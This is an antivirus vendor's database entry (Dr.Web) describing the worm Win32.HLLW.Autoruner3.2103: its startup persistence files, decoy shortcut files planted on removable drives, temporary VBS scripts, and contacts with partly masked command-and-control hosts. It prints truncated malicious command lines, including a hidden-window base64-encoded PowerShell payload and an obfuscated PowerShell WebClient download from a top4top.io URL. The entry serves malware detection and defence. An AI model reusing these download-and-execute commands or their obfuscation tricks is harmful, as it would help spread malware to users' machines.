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Win32.HLLW.Autoruner3.2103

Added to the Dr.Web virus database: 2020-03-21

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\wpfw.exe
  • %APPDATA%\microsoft\windows\start menu\programs\startup\windows defender.vbs
Creates the following files on removable media
  • <Drive name for removable media>:\delete.lnk
  • <Drive name for removable media>:\stoc13_ml_quoc_le.lnk
  • <Drive name for removable media>:\gruenspecht_02172016.lnk
  • <Drive name for removable media>:\indogerman2010.lnk
  • <Drive name for removable media>:\asaprojectcompetition.lnk
  • <Drive name for removable media>:\proposaltemplates.lnk
  • <Drive name for removable media>:\metac.lnk
  • <Drive name for removable media>:\accountsreceivable.lnk
  • <Drive name for removable media>:\mappingconcepthubberlin.lnk
  • <Drive name for removable media>:\arrow-down.lnk
  • <Drive name for removable media>:\breakpoint.lnk
  • <Drive name for removable media>:\background.lnk
  • <Drive name for removable media>:\bg_search_box.lnk
  • <Drive name for removable media>:\dissolveanother.lnk
  • <Drive name for removable media>:\hhhlcert.lnk
  • <Drive name for removable media>:\systisoft.lnk
  • <Drive name for removable media>:\delongcacert.lnk
  • <Drive name for removable media>:\server.lnk
  • <Drive name for removable media>:\dualectls.lnk
  • <Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.lnk
  • <Drive name for removable media>:\2015-02-worms-nanoparticle-toxicity.lnk
  • <Drive name for removable media>:\d0068197bb5a41fea16a220c45390606.lnk
  • <Drive name for removable media>:\middaugh_keynote.lnk
  • <Drive name for removable media>:\samieee_obiee_presentation.lnk
  • <Drive name for removable media>:\foaf.lnk
  • <Drive name for removable media>:\contenttypes.lnk
  • <Drive name for removable media>:\fiche_inscription_2015.lnk
  • <Drive name for removable media>:\national_autism_preparation_programs.lnk
  • <Drive name for removable media>:\trtf_matrix2012_oct.lnk
  • <Drive name for removable media>:\2013_finalsummaryforweb.lnk
  • <Drive name for removable media>:\suspendedcompanies.lnk
  • <Drive name for removable media>:\highly_cited_2001.lnk
  • <Drive name for removable media>:\guide_reorganization_mapping.lnk
  • <Drive name for removable media>:\excel_example.lnk
  • <Drive name for removable media>:\price030215.lnk
  • <Drive name for removable media>:\contractualdeadlines.lnk
  • <Drive name for removable media>:\babyboymaintonotesbackground_pal.lnk
  • <Drive name for removable media>:\productos.lnk
  • <Drive name for removable media>:\passport_pal.lnk
  • <Drive name for removable media>:\phytoremediation.lnk
  • <Drive name for removable media>:\military_callsigns_0311.lnk
  • <Drive name for removable media>:\static_electricity_easy_and_quick_activities.lnk
  • <Drive name for removable media>:\pandp.lnk
  • <Drive name for removable media>:\router_manual.lnk
  • <Drive name for removable media>:\krsweden.lnk
  • <Drive name for removable media>:\swc_2009-03-02.lnk
  • <Drive name for removable media>:\20140114.lnk
  • <Drive name for removable media>:\sioc.lnk
  • <Drive name for removable media>:\subjectclassification.lnk
  • <Drive name for removable media>:\clip_1080_5sec_10mbps_h264.lnk
  • <Drive name for removable media>:\firefly1.lnk
  • <Drive name for removable media>:\etc6_m_1.lnk
  • <Drive name for removable media>:\sdksampleunprivdeveloper.lnk
  • <Drive name for removable media>:\contoso_1.lnk
  • <Drive name for removable media>:\pmd.lnk
  • <Drive name for removable media>:\contoso.lnk
  • <Drive name for removable media>:\contosoroot.lnk
  • <Drive name for removable media>:\testcertificate.lnk
  • <Drive name for removable media>:\sdksampleprivdeveloper.lnk
  • <Drive name for removable media>:\contosoroot_1.lnk
  • <Drive name for removable media>:\dial.lnk
  • <Drive name for removable media>:\dashborder_96.lnk
  • <Drive name for removable media>:\default.lnk
  • <Drive name for removable media>:\dashborder_192.lnk
  • <Drive name for removable media>:\tileimage.lnk
  • <Drive name for removable media>:\dashborder_144.lnk
  • <Drive name for removable media>:\coffee.lnk
  • <Drive name for removable media>:\dashborder_120.lnk
  • <Drive name for removable media>:\dialmap.lnk
  • <Drive name for removable media>:\correct.lnk
  • <Drive name for removable media>:\000814251_video_01.lnk
  • <Drive name for removable media>:\split.lnk
  • <Drive name for removable media>:\archer.lnk
  • <Drive name for removable media>:\508softwareandos.lnk
  • <Drive name for removable media>:\hanni_umami_chapter.lnk
  • <Drive name for removable media>:\february_catalogue__2015.lnk
  • <Drive name for removable media>:\uep_form_786_bulletin_1726i602.lnk
  • <Drive name for removable media>:\spanner.lnk
  • <Drive name for removable media>:\region-north-karelia.lnk
  • <Drive name for removable media>:\parnas_01.lnk
  • <Drive name for removable media>:\1189.lnk
  • <Drive name for removable media>:\3.lnk
  • <Drive name for removable media>:\pushkin.lnk
  • <Drive name for removable media>:\howto-index.lnk
  • <Drive name for removable media>:\browse.lnk
  • <Drive name for removable media>:\adadsi.lnk
  • <Drive name for removable media>:\tree_view.lnk
  • <Drive name for removable media>:\about.lnk
  • <Drive name for removable media>:\iisstart.lnk
  • <Drive name for removable media>:\alert.lnk
  • <Drive name for removable media>:\trivial-merge.lnk
  • <Drive name for removable media>:\winmine.lnk
  • <Drive name for removable media>:\utorrent.lnk
  • <Drive name for removable media>:\tcm851ax32.lnk
  • <Drive name for removable media>:\calc.lnk
  • <Drive name for removable media>:\jre-7u75-windows-i586-iftw.lnk
  • <Drive name for removable media>:\adhd_and_obesity.lnk
  • <Drive name for removable media>:\hadac_newsletter_july_2010_final.lnk
  • <Drive name for removable media>:\nwfieldnotes1966.lnk
  • <Drive name for removable media>:\scan.lnk
  • <Drive name for removable media>:\calculatorworksheet.lnk
Modifies file system
Creates the following files
  • %TEMP%\aut60da.tmp
  • %TEMP%\aut60ea.tmp
  • %TEMP%\insert.vbs
  • %TEMP%\aut60fb.tmp
  • %TEMP%\xlsm.vbs
  • %TEMP%\aut60fc.tmp
  • %TEMP%\wiqsxl.vbs
Deletes the following files
  • %TEMP%\aut60da.tmp
  • %TEMP%\aut60ea.tmp
  • %TEMP%\aut60fb.tmp
  • %TEMP%\aut60fc.tmp
Network activity
TCP
HTTP GET requests
  • http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
HTTP POST requests
  • http://bo#####1.ddns.net:4444/is-ready via bo####51.ddns.net
  • 'f.###4top.io':443
  • 'd.###4top.io':443
  • 'e.###4top.io':443
  • 'bo####51.ddns.net':19822
  • UDP
    • DNS ASK google.com
    • DNS ASK f.###4top.io
    • DNS ASK d.###4top.io
    • DNS ASK e.###4top.io
    • DNS ASK bo####51.ddns.net
    • DNS ASK microsoft.com
    Miscellaneous
    Creates and executes the following
    • '%APPDATA%\microsoft\windows\start menu\programs\startup\wpfw.exe'
    • '<SYSTEM32>\wscript.exe' "%TEMP%\Insert.vbs"
    • '<SYSTEM32>\wscript.exe' "%TEMP%\xlsm.vbs"
    • '<SYSTEM32>\wscript.exe' "%TEMP%\wiqsxl.vbs"
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAtAE8AYgBq...' (with hidden window)
    • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit $vbs = New-Object -ComObject 'MSScriptControl.ScriptControl';$vbs.Language = 'VBScript';$text='(&(GCM *W-O*)Ne'+'t.We'+'bCl'+'ient).Dow'+'nloa'+'dSt'+'ring(''https://e.top4top.io/p_153...' (with hidden window)
    Executes the following
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAtAE8AYgBq...
    • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit $vbs = New-Object -ComObject 'MSScriptControl.ScriptControl';$vbs.Language = 'VBScript';$text='(&(GCM *W-O*)Ne'+'t.We'+'bCl'+'ient).Dow'+'nloa'+'dSt'+'ring(''https://e.top4top.io/p_153...
    • '%WINDIR%\syswow64\wscript.exe' //B "%TEMP%\"

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